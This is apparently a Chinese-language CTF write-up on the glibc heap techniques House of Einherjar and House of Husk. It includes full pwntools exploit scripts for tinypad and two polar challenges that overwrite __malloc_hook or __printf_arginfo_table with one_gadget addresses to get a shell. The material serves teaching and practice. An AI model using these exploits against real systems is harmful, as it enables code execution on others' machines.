house of
zach0ry Pwn 选手

House Of Einherjar

正常free的时候会判断上一个chunk是不是free的,是的话就合并

让指针对 本chunk处-pre_size处的chunk 执行unlink,把本chunk和pre_chunk都从bin链条中脱出

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

那么如果我们可以同时控制一个 chunk prev_size 与 PREV_INUSE 字段,那么我们就可以将新的 chunk 指向几乎任何位置,记住唤起合并的还是一个unsorted bin的free

可以进行攻击的代码

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
char* s0 = malloc(0x200); //构造fake chunk
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0); 
char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
printf("begin\n");
printf("%p\n", s0);
printf("input s0\n");
read(0, s0, 0x200); //读入fake chunk
printf("input s1\n");
read(0, s1, 0x19); //Off By One
free(s2);
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
#两个chunk0(fake_chunk的头部地址)来绕过unlink对fd,bk的校验
payload += p64(0x100)
#通过unlink的校验
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
#唤起合并
#改变pre_size以及本chunk对上一个chunk是否使用的标记
p.sendline(payload)
p.recvall()
p.close()

unlink的校验

1
2
>if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
malloc_printerr ("corrupted size vs. prev_size");

P 的大小必须等于 P 后面那个 chunk 的 prev_size

校验pre_chunk的size是否等于pre_chunk+size处对应的fake_size

这个pre_size也可以是虚构的,不是真实的在那个位置上的

Seccon2016 tinypad

项目地址

这个代码比较长,都汇在一起

总结就是每次操作后都会显示四个chunk的内容,只能同时存在四个chunk

image-20251222200009389

delete

uaf漏洞,只是把size位置上的数置零

image-20251222200045624

add

image-20251222200719176

edit
image-20251222200909184

思路

先泄露libc_base等计算maloc_hook,利用House of Einherjar构造overlapping chunk,再覆盖fast chunk的fd指针,指向__malloc_hook附近,将__malloc_hook覆盖成one_gadget

House of Einherjar的构造过程

先把后面的unsorted_bin malloc出来

image-20251222201612150

然后伪造chunk

add_memo(0x60, p64(0) + p64(0xd0) + p64(addr_heap +0x10) + p64(addr_heap +0x10))

这里伪造的fd和bk要用伪造chunk的头部

image-20251222201735403

然后是unlink的size校验,放size

image-20251222202002314

之后再把unsorted bin free唤起consolidation

1
2
3
4
add_memo(0xf0, b"C" * 0x10)  #1
add_memo(0x60, p64(0) + p64(0xd0) + p64(addr_heap +0x10) + p64(addr_heap +0x10)) #2
add_memo(0x68, b"B" * 0x60 + p64(0xd0))#3
delete_memo(1)

之后就是正常的覆盖了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
import sys
from LibcSearcher import *

file_path = "./tinypad"
remote_host = ""
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add_memo(size, content: bytes):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"A")
p.recvuntil(b"(SIZE)>>>")
p.sendline(str(size).encode())
p.recvuntil(b"(CONTENT)>>>")
p.sendline(content)

def delete_memo(idx):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"D")
p.recvuntil(b"(INDEX)>>>")
p.sendline(str(idx).encode())

def edit_memo(idx, content: bytes):
p.recvuntil(b"(CMD)>>>")
p.sendline(b"E")
p.recvuntil(b"(INDEX)>>>")
p.sendline(str(idx).encode())
p.recvuntil(b"(CONTENT)>>>")
p.sendline(content)
p.recvuntil(b"(Y/n)>>>")
p.sendline(b"Y")




add_memo(0x60, b"A" * 0x10)
add_memo(0x60, b"B" * 0x10)
add_memo(0xf0, b"C" * 0x10)
add_memo(0x80, b"D" * 0x10)
delete_memo(3)
delete_memo(2)
delete_memo(1)

p.recvuntil(b"INDEX: 1")
p.recvuntil(b"CONTENT: ")
addr_heap = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))-0x70
log.success("addr_heap: " + hex(addr_heap))

p.recvuntil(b"INDEX: 3")
p.recvuntil(b"CONTENT: ")
libc_base= u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))-0x3c4b78
log.success("libc_base: " + hex(libc_base))
malloc_hook = libc_base + 0x3C4B10 # Fix You
tar= malloc_hook - 0x23
one_gadget = libc_base + 0xf1147





# 第二步:House of Einherjar
add_memo(0xf0, b"C" * 0x10) #1
add_memo(0x60, p64(0) + p64(0xd0) + p64(addr_heap +0x10) + p64(addr_heap +0x10)) #2
add_memo(0x68, b"B" * 0x60 + p64(0xd0))#3
delete_memo(1)
# dbg()

delete_memo(3)


add_memo(0x90,b"E" * 0x50 + p64(0) + p64(0x71) + p64(tar))#fd 1
delete_memo(1)#现在已经有3个chunk了,要add两个取出tar,所以把它free掉
add_memo(0x60, b"F" * 0x10) # index: 1
pad_len = malloc_hook - tar - 0x10
add_memo(0x60, b"X" * pad_len + p64(one_gadget)) # index: 2



# 第四步:触发 malloc
delete_memo(2)
sla(b"(CMD)>>>", b"A")
sla(b"(SIZE)>>>", str(0x10).encode())

p.interactive()

polar2023 夕阳下的舞者

地址

这道题通过malloc unsorted bin 再free掉再malloc去取出以拿到libc_base

其它和上面的题目相近,这里粘个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
import sys
from LibcSearcher import *

file_path = "./sun"
remote_host = "1.95.36.136"
remote_port = 2052
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(size, data, mark):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'1')
p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
p.sendline(str(size).encode())
p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
p.send(data)
p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
p.send(mark)
def delete(idx):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'2')
p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
p.sendline(str(idx).encode())
def edit(idx, name, cook):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'3')
p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Give me new name.\n")
p.send(name)
p.recvuntil(b"Give me Cook name.\n")
p.send(cook)
def show():
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'4')


add(0x20,b"a",b"b")
delete(0)
add(0x20,b"a",b"b")
show()
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00')) - 0x3c4b78
log.success("libc : 0x%x" % libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']



add(0x80, b'e'*0x20, b'f'*0x10) # 1
add(0x80, b'e'*0x20, b'f'*0x10) # 2
add(0x80, b'g'*0x20, b'h'*0x10) # 3
delete(1)
delete(3)

#dbg()
add(0x20, b'i'*0x20, b'j'*0x10) # 1
edit(1, b'a'*0x10, b'cccccccn')
show()
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
p.recvuntil(b'cccccccn')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
log.success("heap : 0x%x" % heap_addr)


add(0x80, b'i'*0x20, b'j'*0x10)
add(0x60,p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190),b'b'*0x10) # 4 first 0x71
add(0x60, b'c'*0x10, b'd'*0x10) # 5
add(0x60, b'e'*0x10, b'f'*0x10) # 6
add(0x60, b'h'*0x10, b'j'*0x10) # 7
delete(6)
add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6 off-by-null
delete(6)
add(0x2D0,b'a'*0x2A0 + p64(0) + p64(0x71) + p64(malloc_hook-0x23) + p64(0xdeadbeef),b'b'*0x10) # 6


delete(0)
delete(1)
delete(2)

add(0x60, b'a'*0x10, b'b'*0x10) # 0

one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
add(0x60, b'a'*0x13 + p64(libc_base + one[1]), b'c'*0x10) # 1

delete(4)


p.interactive()

House Of Husk

回炉重修之house of husk 带源码深度解析-先知社区

glibc 2.23–2.35

__printf_function_table

正常状态:NULL (0x0)

  • 它的角色:这是一个开关标志
  • 存储内容:在正常程序中,它是一个空指针。
  • 工作逻辑:当 printf 执行时,它会首先检查这个变量。
    • 如果 __printf_function_table == NULLprintf标准路径,只识别 %s, %d, %f 等内置格式。
    • 如果 __printf_function_table != NULLprintf 就会切换到“扩展模式”,认为用户注册了自定义的格式化字符(比如 %y)。

__printf_arginfo_table

正常状态:NULL (0x0)

  • 它的角色:这是一个跳转表(函数指针数组)

  • 存储内容:如果被启用,它会指向一个大小为 256 的指针数组,数组的每个索引对应一个 ASCII 码。

  • 工作逻辑

    • printf 开启了扩展模式,并在字符串中遇到了一个格式化字符(假设是 %s),它会去查这个表。

    • 它以字符 's' 的 ASCII 码(115)作为下标,即访问 __printf_arginfo_table[115]

    • 正常设计下:这个位置应该存储一个函数地址。printf 会调用这个函数来询问:“嘿,遇到 %s 时,我应该读取几个参数?每个参数是什么类型?”所以如果把__printf_arginfo_table[115]改成后门就

      会在printf(%s)时调用后门

👉 “利用程序中对格式化字符串(尤其是 %s / %n)的错误使用,把本来用来‘打印数据’的功能,变成‘读内存甚至写内存’的工具,从而控制程序执行流程。”

1
2
3
4
5
6
7
8
9
10
11
12
13
你有任意写能力

写 __printf_function_table(让它不为空)

写 __printf_arginfo_table[spec] = backdoor

程序调用 printf("%spec", ...)

printf 查表

跳转到 backdoor

getshell

👉 “开表(function_table),改表(arginfo_table),借 printf 执行后门。”

easy_str

polar

image-20260319164924191

add限制只能malloc5个chunk,存在uaf漏洞,但是还有一个printf(“%X”, 0);比较特殊

house of husk

先把global_max_fast扩大,让free的chunk可以覆盖printf_function_table以及printf_arginfo_table,将其覆盖为后门

先泄露libc并且准备覆盖printf_function_table以及printf_arginfo_table的chunk

1
2
3
4
5
6
7
8
9
add(0x500)
add(0x4af8*2-0x10)#打到function
add(0xc30*2-0x10)#__printf_arginfo_table
add(0x500)

dele(0)
show(0)
libc_base=uu64()-0x3ebca0
print(hex(libc_base))

image-20260319165755656

因为chunk是16字节对齐的,所以distance*2

index = (chunk_size- 0x10) >> 4

image-20260319165928844

之后利用uaf漏洞改unsorted bin的chunk地址让chunk malloc到global_max_fast

把global_max_fast改成一个大数,然后让chunk1和chunk2进入并且覆盖__printf_arginfo_table[0x58]为onegadget

1
2
3
4
5
6
edit(0,p64(libc_base+0x3ed940-0x10)*2)
edit(2,b"a"*((0x58-2)*8)+p64(libc_base+0x10a2fc))
add(0x500)
dele(2)
# dbg()
dele(1)

image-20260319171008943

image-20260319171333412

image-20260319171827437

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
import sys
from LibcSearcher import *

file_path = "./111"
remote_host = "1.95.36.136"
remote_port = 2148
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def sl(a):p.sendline(a)
def s(a):p.send(a)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)
def bin_sys(libc_base) : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32() : return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
def add(size):
sla(b"choice:",str(1))
sla(b"size:",str(size))


def show(index):
sla(b"choice:",str(3))
sla(b"id:",str(index))

def edit(index,con):
sla(b"choice:",str(2))
sla(b"id:",str(index))
sl(con)
def dele(index):
sla(b"choice:",str(4))
sla(b"id:",str(index))

add(0x500)
add(0x4af8*2-0x10)#打到function
add(0xc30*2-0x10)#__printf_arginfo_table
add(0x500)

dele(0)
show(0)
libc_base=uu64()-0x3ebca0
print(hex(libc_base))


edit(0,p64(libc_base+0x3ed940-0x10)*2)
edit(2,b"a"*((0x58-2)*8)+p64(libc_base+0x10a2fc))
add(0x500)
dele(2)
# dbg()
dele(1)


p.interactive()